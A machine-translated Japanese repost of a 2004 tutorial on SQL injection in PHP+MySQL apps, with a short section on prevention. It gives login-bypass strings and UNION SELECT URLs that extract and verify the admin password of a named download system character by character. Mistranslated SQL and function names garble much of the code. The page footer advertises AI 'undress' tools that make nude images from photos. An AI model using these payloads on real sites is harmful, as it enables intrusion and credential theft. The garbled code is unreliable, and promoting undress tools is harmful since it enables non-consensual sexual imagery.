インジェクションの脆弱性を備えた MYSQL ステートメントを作成する方法_PHP チュートリアル
mysql による NSQL インジェクション
この記事の著者: 天使
記事の性質: オリジナル
発売日: 2004-09-16 SQL クエリ: $sql ";
この記事は『Hacker Defense』7月号に掲載されたものですので、転載の際はその旨をご明記ください。書くのに長い時間がかかり、
テクノロジー
の進歩に伴い、この記事には多くの間違いや冗長な箇所があることもわかりました。専門家の方はこれを読んで笑わないでください。この記事は、「MySQL による高度な SQL インジェクション」の 1 か月前に書かれたものです。
ステートメント
この記事は教育のみを目的としており、この記事によって引き起こされる攻撃の結果については責任を負いません。この記事のすべてのコードは私によって作成されており、すべてのデータはテストされています。絶対に本当。漏れや間違いがある場合は、Security Angel Forum (http://www.4ngel.net/forums) にアクセスして私にご連絡ください。
はじめに
2003 年以来、ますます多くの人々がスクリプト攻撃に興味を持ち、ASP での
インジェクション
について私が読んだ最も古い記事は 1999 年に書かれたものです。外国の専門家がこの技術に精通し始めたばかりであるが、この観点から見ると、この分野における国内の技術と外国の技術には依然として大きな差がある。 SQL については誰もがよく知っています インジェクション 攻撃も、国内の主要なサイトにいくつかの古典的な作品がありますが、完全な記事として、その定義と原則について話す必要があると思います。熟練のレベルに達しているマスターがいる場合は、この記事を少し試してみてもよいでしょう。クアンは弟を指導すべきだ。
php+Mysql インジェクションについて
中国ではphp+Mysql
インジェクションに関する記事は比較的少ないかもしれませんが、さまざまなWEBプログラムの脆弱性に注目してみると、これらの脆弱性に関する記事が実際に例であることがわかります。しかし、中国では ASP よりも PHP を勉強する人がはるかに少ないため、注目されていない可能性があります。また、PHP は ASP よりもはるかに安全であるため、多くの人はこのしきい値を超えたくありません。
それにもかかわらず、PHP サイトの数が増加している今日でも、SQL
インジェクション
は依然として最も効果的で厄介な攻撃方法です。国内のセキュリティのほとんどを含むサイトの少なくとも 70% に SQL インジェクションの脆弱性があるため、効果的です。問題は、MYSQL4 より前のバージョンではサブステートメントがサポートされておらず、php.ini の magic_quotes_gpc がオンになっているためです。送信された変数内のすべての ' (一重引用符)、" (二重引用符)、(バックスラッシュ) および空の 文字 は、バックスラッシュを含むエスケープされた 文字
に自動的に変換されます。 バンドを に挿入する 障害がたくさんあります。
初期の頃、プログラム コードに基づいて、効果的な攻撃を形成するために引用符のないステートメントを構築することは非常に困難でした。幸いなことに、現在のテクノロジーでは、特定の状況で使用できるように引用符のないステートメントが構築されています。経験があれば、効果的な文章を構築することはまったく難しくなく、成功率も高いですが、具体的な状況をケースバイケースで分析する必要があります。まずは誤解を解かなければなりません。
注: 具体的な指示がない場合は、magic_quotes_gpc がすべてオフであると想定します。
php+Mysqlインジェクション
の誤解
多くの人は、PHP+MYSQL で
を注入するときに一重引用符を使用する必要があると考えています。そうでないと、MSSQL のように "declare @a sysname select @a=
injectionの誤解です。
なぜ?どの言語であっても、引用符で囲まれたすべての文字列 (一重および二重を含む) は定数であるため、 dir のようなコマンドでも単なる文字列であり、コードが次のように書かれていない限りコマンドとして実行できません。
$command = "ディレクトリ:";
システム($コマンド);
それ以外の場合、これは単なる文字列です。もちろん、ここで説明しているコマンドは、SQL ステートメントを通常どおりに実行することを意味するものではありません。では、次回は一重引用符を使用しますか?使われないのはどんなとき?次の 2 つの SQL ステートメントを見てください:
①SELECT * FROM 記事 WHERE 記事 ID='$id'
②SELECT * FROM 記事 WHERE 記事ID=$id
どちらの記述方法もさまざまなプログラムで共通ですが、最初の文では変数 $id を一対の引用符で囲みます。これにより、たとえ正しい SQL ステートメントが含まれていたとしても、送信する変数は文字列になります。 2 番目の文は異なります。変数が一重引用符で囲まれていないため、スペースが含まれている限り、送信したものはすべて SQL ステートメントとして実行されます。2 つの不正な文は正常に送信されました。違いを確認するために 2 つの文に を挿入しました。
① 変数 $id を次のように指定します:
1' と 1=2 Union select * from user where userid=1/*
このとき、SQL ステートメント全体は次のようになります:
SELECT * FROM 記事 WHERE 記事 ID='1' と 1=2 Union select * from user where userid=1/*'
②変数 $id を次のように指定します:
1 と 1=2 Union select * from user where userid=1
このとき、SQL ステートメント全体は次のようになります:
SELECT * FROM 記事 WHERE 記事 ID=1 と 1=2 Union select * from user where userid=1
あなたはそれを見ましたか?最初の文には単一引用符が含まれているため、次のステートメントを SQL として実行できるように、最初に前の単一引用符を閉じる必要があります。また、元の SQL ステートメント内の次の一重引用符をコメント アウトして、正常に実行できるようにする必要があります
inject 、php.ini の magic_quotes_gpc が on に設定されている場合、または変数の前に addslashes() 関数が使用されている場合、攻撃は無駄になりますが、2 番目の文に変数が引用符で囲まれていない場合は、攻撃は行われません。閉じるかコメントを直接送信することを検討する必要があります。
いくつかの記事で示されているステートメントには一重引用符が含まれていないことがわかりました。たとえば、pinkeyes の「php
Injection例」で示されている SQL ステートメントには引用符が含まれていません。 quotes Inject を使用して、PHPBB コードを詳しく見てみると、$forum_id が配置されている SQL ステートメントが次のように記述されていることがわかります:
$sql = "SELECT *
「 . FORUMS_TABLE . 」から
WHERE フォーラム ID = $フォーラム ID";
変数は一重引用符で囲まれていないため、pinkkey は変数を利用する機会があります。そのため、PHP プログラムを作成するときは、変数を一重引用符で囲むようにしてください。もちろん、必要な安全対策は必須です。
簡単な例
PHP における
インジェクション の特殊性と原理を理解するための例を示します。もちろん、この例では、効果的な SQL ステートメントを構築する方法を学習することもできます。
ユーザー検証の例を見てみましょう。まず、次のように データベース
とデータ テーブルを作成し、レコードを挿入します。
テーブル `user` を作成 (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL デフォルト '',
`パスワード` varchar(20) NOT NULL デフォルト '',
主キー (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
#テーブル `user` のデータをエクスポートします
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
ユーザーファイルを検証するコードは次のとおりです:
$servername = "ローカルホスト";
$dbusername = "ルート";
$dbpassword = "";
$dbname = "注入";
mysql_connect($servername,$dbusername,$dbpassword) または die (「データベース接続に失敗しました」);
$sql = "SELECT * FROM ユーザー WHERE ユーザー名='$ユーザー名' AND パスワード='$パスワード'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (空($userinfo))
{
echo "ログインに失敗しました";
} その他 {
echo "ログイン成功";
}
echo "
?>
現時点では次のように提出します:
http://127.0.0.1/injection/user.php?username=angel
' または 1=1
戻ります:
警告: mysql_fetch_array(): 指定された引数は、F:wwwinjectionuser.php の 13 行目で有効な MySQL 結果リソースではありません
ログインに失敗しました
SQL クエリ:SELECT * FROM ユーザー WHERE ユーザー名 = 'angel' または 1=1' AND パスワード = ''
PHP 警告: mysql_fetch_array(): 指定された引数は、F:wwwinjectionuser.php の 13 行目で有効な MySQL 結果リソースではありません
見えますか?一重引用符が閉じられた後、次の一重引用符はコメントアウトされず、一重引用符が正しくペアにならないことになります。したがって、作成したステートメントでは Mysql を正しく実行できず、再構築する必要があることがわかります。
http://127.0.0.1/injection/user.php?username=angel' または '1=1
このとき「Login Successful」と表示され、成功したことがわかります。または送信してください:
http://127.0.0.1/injection/user.php?username=angel'/*
http://127.0.0.1/injection/user.php?username=angel'%23
これにより、次のステートメントがコメントアウトされます。これら 2 つの投稿の違いについて説明します。言うまでもなく、最初に投稿した文は論理演算を使用しています。 2 番目と 3 番目の文は、mysql の特性に基づいています。Mysql は、/* と # の 2 つのコメント形式をサポートしているため、送信するときに次のコードをコメントアウトします。エンコードの問題により、# を送信することに注意してください。 IE のアドレス バーは空になるため、アドレス バーで送信する場合は、# になる前に %23 を送信する必要があります。これは、PHP の論理演算よりもはるかに簡単であることがわかります。 ASP よりも強力で柔軟です。
上記の例を通して、誰もが PHP+MYSQL の
インジェクション を感覚的に理解できるはずですよね?
ステートメントの構築
PHP+MYSQL
Injectionの幅広さと奥深さは、認証システムに反映されるだけではありません。ただし、ステートメントの構造は ACCESS や MSSQL とは若干異なります。まだ最大限の可能性を発揮できます。以下の例を参照してください。
1. 検索エンジン
インターネット上には問題のある PHP プログラム検索エンジンがたくさんあります。つまり、特殊文字を送信すると、条件を満たさないレコードも含めてすべてのレコードが表示されるという問題があります。実際には、多くの場所でこの害は大きくありません。ここで、ユーザーはあいまいクエリのキーワードを入力できます。ほとんどの場合、すべてのレコードを取得できます。多くのクエリはこのように設計されています。
クエリは読み取り専用操作であり、データに損傷を与えることはないため、あまり心配する必要はありません。ただし、プライバシーの漏洩が有害であるとみなされるかどうかはわかりません。標準的な検索エンジンは次のとおりです。
言い換えれば、ID の値がどんなに法外であっても、0 と 999999999 の範囲外にはなりません。HB のソフトウェアは間違いなく 10,000 を超えることはないので、次のように送信します:
http://127.0.0.1/ymdown/show.php?id=10000
共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1 (id=1 の ymdown_user から)
正常に戻り、テーブル内のデータはすべて「1」となり、ID がまだ存在していることがわかります。データが空の場合は不明として表示されるとプログラムが判断するため、データが存在しない場合、ページは不明なデータをすべて返します。 ID が存在することを確認できたので、次はそれが管理者であるかどうかを確認する必要があります:
http://127.0.0.1/ymdown/show.php?id=10000
共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1, ymdown_user からの 1,1,1,1,1 (id=1 および groupid=1)
プログラムでは、groupid 1 がスーパー管理者であると規定されているため、すべての正しい情報が返されるため、必要なユーザー名とパスワードを明らかにするために不正なステートメントを直接作成します。 .php はクエリなので、そのデータ構造を確認する必要があります。
テーブルの作成 ymdown (
id int(10) unsigned NOT NULL auto_increment, 名前 varchar(100) NOT NULL,
updatetime varchar(20) NOT NULL,
サイズ varchar(100) NOT NULL,
Empower varchar(100) NOT NULL,
os varchar(100) NOT NULL、
グレード smallint(6) デフォルト '0' NOT NULL,
viewnum int(10) デフォルトの '0' NOT NULL,
downnum int(10) デフォルト '0' NOT NULL,
ホームページ varchar(100)、デモ varchar(100)、
簡単なミディアムテキスト、img varchar(100)、
sort2id smallint(6) デフォルト '0' NOT NULL,
down1 varchar(100) NOT NULL,
down2 varchar(100),
down3 varchar(100),
down4 varchar(100)、
down5 varchar(100)、
主キー (ID)
);
ユーザー名とパスワードのデータ型は両方とも varchar であるため、ymdown テーブルのデータ型を varchar にする必要があります。varchar データが int に書き込まれる場合、更新時間の長さのため、当然表示されません (表示が不完全な場合があります。 19個の「1」のうち、名前(ソフト名)にユーザー名、サイズ(ファイルサイズ)を表示してみましょう。 4 番目に、次のように送信します:
http://127.0.0.1/ymdown/show.php?id=10000 Union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1, ymdown_user からの 1,1,1,1,1 (id=1)
図に示すように、結果として必要なユーザー名とパスワードが正常に返されました。

テスト結果を確認します
侵入プロセスはすべて終了しましたが、Black and White が入り口を変更したため、ログインできません。ただし、目的は達成されたため、バックエンドに入る必要はありません。その後、SQL ステートメントを作成して確認し、取得したパスワードが正しいかどうかを次の順序で送信します。
http://127.0.0.1/ymdown/show.php?id=10共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1, ymdown_user からの 1,1,1,1,1 (id=1 および ord(mid(password,1,1))=49) #最初のパスワードを確認してください
http://127.0.0.1/ymdown/show.php?id=10共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1 (ymdown_user から) (id=1 および ord(mid(password,2,1))=50)
#2番目のパスワードを確認してください
http://127.0.0.1/ymdown/show.php?id=10共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1 (ymdown_user から) (id=1 および ord(mid(password,3,1))=51)
#3番目のパスワードを確認してください
http://127.0.0.1/ymdown/show.php?id=10共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1 (ymdown_user から) (id=1 および ord(mid(password,4,1))=52)
#パスワードの4桁目を確認してください
http://127.0.0.1/ymdown/show.php?id=10共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1 (ymdown_user から) (id=1 および ord(mid(password,5,1))=53)
#5番目のパスワードを確認してください
http://127.0.0.1/ymdown/show.php?id=10共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1 ymdown_user からの ,1,1,1,1,1 (id=1 および ord(mid(password,6,1))=54)
#6番目のパスワードを確認してください
select char(49,50,51,52,53,54) を使用して 123456 を取得します。 わかりました!テストが終了し、結果にエラーがないことが確認されました。説明すると、パスワード自体は 123456 です。 ord() 関数を使用せずに直接推測することもできますが、完全なプロセスを誰もが見ることができるように、より「プロフェッショナル」である必要があります。これは、この記事を書いた後に HB を再テストしたときに撮影したスクリーンショットです:
注射

防止は 2 つの側面から始まります。1 つはサーバー、もう 1 つはコード自体です。これは、magic_quotes_gpc を On に設定し、display_errors を Off に設定すること以外の何ものでもありません。 . この記事ではすべてプログラムの問題について触れていますので、プログラム自体から原因を探す必要があります。 PHP が ASP よりも使いやすく安全である場合は、組み込み関数からそれを反映できます。整数変数の場合、問題を解決するには intval() 関数を使用するだけで済みます。クエリを実行する前に、次の例のようにまず変数を処理します。これは非常に安全です。 $id = intval($id); mysql_query("SELECT * FROM 記事 WHERE 記事 ID='$id'");
または、次のように書きます:
mysql_query("SELECT * FROM 記事 WHERE 記事 ID=".intval($id)."")
どのように構築されたとしても、最終的には整数に変換されてデータベースに格納されます。多くの大規模なプログラムはこの方法で記述されており、非常に簡潔です。
文字列型変数では、組み込み関数 addlashes() も使用できます。この関数は、使用後、すべての ' (一重引用符)、" (二重引用符)、(バックスラッシュ) 文字が無効になります。また、新しいバージョンの php では、magic_quotes_gpc がオンになっている場合でも、addslashes() 関数を使用するときに、次のように競合することはありません。
$username = addlashes($username); mysql_query("SELECT * FROM members WHERE userid='$username'");
または、次のように書きます:
mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."")
addslashes() 関数を使用すると、引用符ペアのエラーを回避することもできます。先ほどの検索エンジンの修復方法は、「_」と「%」を「_」と「%」に直接変換することです。もちろん、addslashes() 関数を使用することを忘れないでください。具体的なコードは次のとおりです:
$keywords = ラッシュを追加($keywords); $keywords = str_replace("_","_",$keywords);
$keywords = str_replace("%","%",$keywords);
ASP のようにいくつかの変数をフィルタリングするために多くのコードを記述する必要はありません。上記のほんの少しのコードだけで、この記事のすべての問題を解決できます。
追記
この記事は、2004 年 3 月以来、暇なときに調査し、調査したものです。内容はすべて私が個人的にテストしたものです。まだ技術的な問題がたくさんあります。解決済みですので、間違いや欠落は避けられませんので、修正してください。
いくつかの条件が満たされていれば、一般にサーバーに侵入できるものもありますが、個人的には PHP+MYSQL
インジェクションが登場すると予想しています。 一連のツールやテクノロジーも普及し、開発に影響を与えるでしょう。しかし、ツールは単なる武器であり、テクノロジーは魂であるという原則を理解する必要があります。ツールは効率を向上させるだけであり、高度なスキルを意味するものではありません。 この記事を読んでいる頃には、もう大学受験は終わっていると思いますので、夏休みにもう少し突っ込んだ勉強を書きたいと思います。
より多くの人に PHP+MYSQL の
インジェクション テクノロジーを理解して習得してもらうために、この記事を書き、公開してもう一度繰り返すことにしました。いかなる国の正当なホストも危険にさらさないでください。また、危険を冒す場合は自己責任で行ってください。
潜入レベルをクリアするのはとても簡単です
すべては私のコントロール下にあります
管理者に近づきます
今日は気分がかなり違います

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック











MySQLはオープンソースのリレーショナルデータベース管理システムであり、主にデータを迅速かつ確実に保存および取得するために使用されます。その実用的な原則には、クライアントリクエスト、クエリ解像度、クエリの実行、返品結果が含まれます。使用法の例には、テーブルの作成、データの挿入とクエリ、および参加操作などの高度な機能が含まれます。一般的なエラーには、SQL構文、データ型、およびアクセス許可、および最適化の提案には、インデックスの使用、最適化されたクエリ、およびテーブルの分割が含まれます。

データベースとプログラミングにおけるMySQLの位置は非常に重要です。これは、さまざまなアプリケーションシナリオで広く使用されているオープンソースのリレーショナルデータベース管理システムです。 1)MySQLは、効率的なデータストレージ、組織、および検索機能を提供し、Web、モバイル、およびエンタープライズレベルのシステムをサポートします。 2)クライアントサーバーアーキテクチャを使用し、複数のストレージエンジンとインデックスの最適化をサポートします。 3)基本的な使用には、テーブルの作成とデータの挿入が含まれ、高度な使用法にはマルチテーブル結合と複雑なクエリが含まれます。 4)SQL構文エラーやパフォーマンスの問題などのよくある質問は、説明コマンドとスロークエリログを介してデバッグできます。 5)パフォーマンス最適化方法には、インデックスの合理的な使用、最適化されたクエリ、およびキャッシュの使用が含まれます。ベストプラクティスには、トランザクションと準備された星の使用が含まれます

MySQLは、そのパフォーマンス、信頼性、使いやすさ、コミュニティサポートに選択されています。 1.MYSQLは、複数のデータ型と高度なクエリ操作をサポートし、効率的なデータストレージおよび検索機能を提供します。 2.クライアントサーバーアーキテクチャと複数のストレージエンジンを採用して、トランザクションとクエリの最適化をサポートします。 3.使いやすく、さまざまなオペレーティングシステムとプログラミング言語をサポートしています。 4.強力なコミュニティサポートを提供し、豊富なリソースとソリューションを提供します。

Apacheはデータベースに接続するには、次の手順が必要です。データベースドライバーをインストールします。 web.xmlファイルを構成して、接続プールを作成します。 JDBCデータソースを作成し、接続設定を指定します。 JDBC APIを使用して、接続の取得、ステートメントの作成、バインディングパラメーター、クエリまたは更新の実行、結果の処理など、Javaコードのデータベースにアクセスします。

DockerでMySQLを起動するプロセスは、次の手順で構成されています。MySQLイメージをプルしてコンテナを作成および起動し、ルートユーザーパスワードを設定し、ポート検証接続をマップしてデータベースを作成し、ユーザーはすべての権限をデータベースに付与します。

WebアプリケーションにおけるMySQLの主な役割は、データを保存および管理することです。 1.MYSQLは、ユーザー情報、製品カタログ、トランザクションレコード、その他のデータを効率的に処理します。 2。SQLクエリを介して、開発者はデータベースから情報を抽出して動的なコンテンツを生成できます。 3.MYSQLは、クライアントサーバーモデルに基づいて機能し、許容可能なクエリ速度を確保します。

CentOSにMySQLをインストールするには、次の手順が含まれます。適切なMySQL Yumソースの追加。 yumを実行して、mysql-serverコマンドをインストールして、mysqlサーバーをインストールします。ルートユーザーパスワードの設定など、MySQL_SECURE_INSTALLATIONコマンドを使用して、セキュリティ設定を作成します。必要に応じてMySQL構成ファイルをカスタマイズします。 MySQLパラメーターを調整し、パフォーマンスのためにデータベースを最適化します。

MySQLをエレガントにインストールするための鍵は、公式のMySQLリポジトリを追加することです。特定の手順は次のとおりです。MYSQLの公式GPGキーをダウンロードして、フィッシング攻撃を防ぎます。 mysqlリポジトリファイルを追加:rpm -uvh https://dev.mysql.com/get/mysql80-community-rease-el7-3.noarch.rpm update yumリポジトリキャッシュ:yumアップデートインストールmysql:yumインストールmysql-server startup mysql sportin
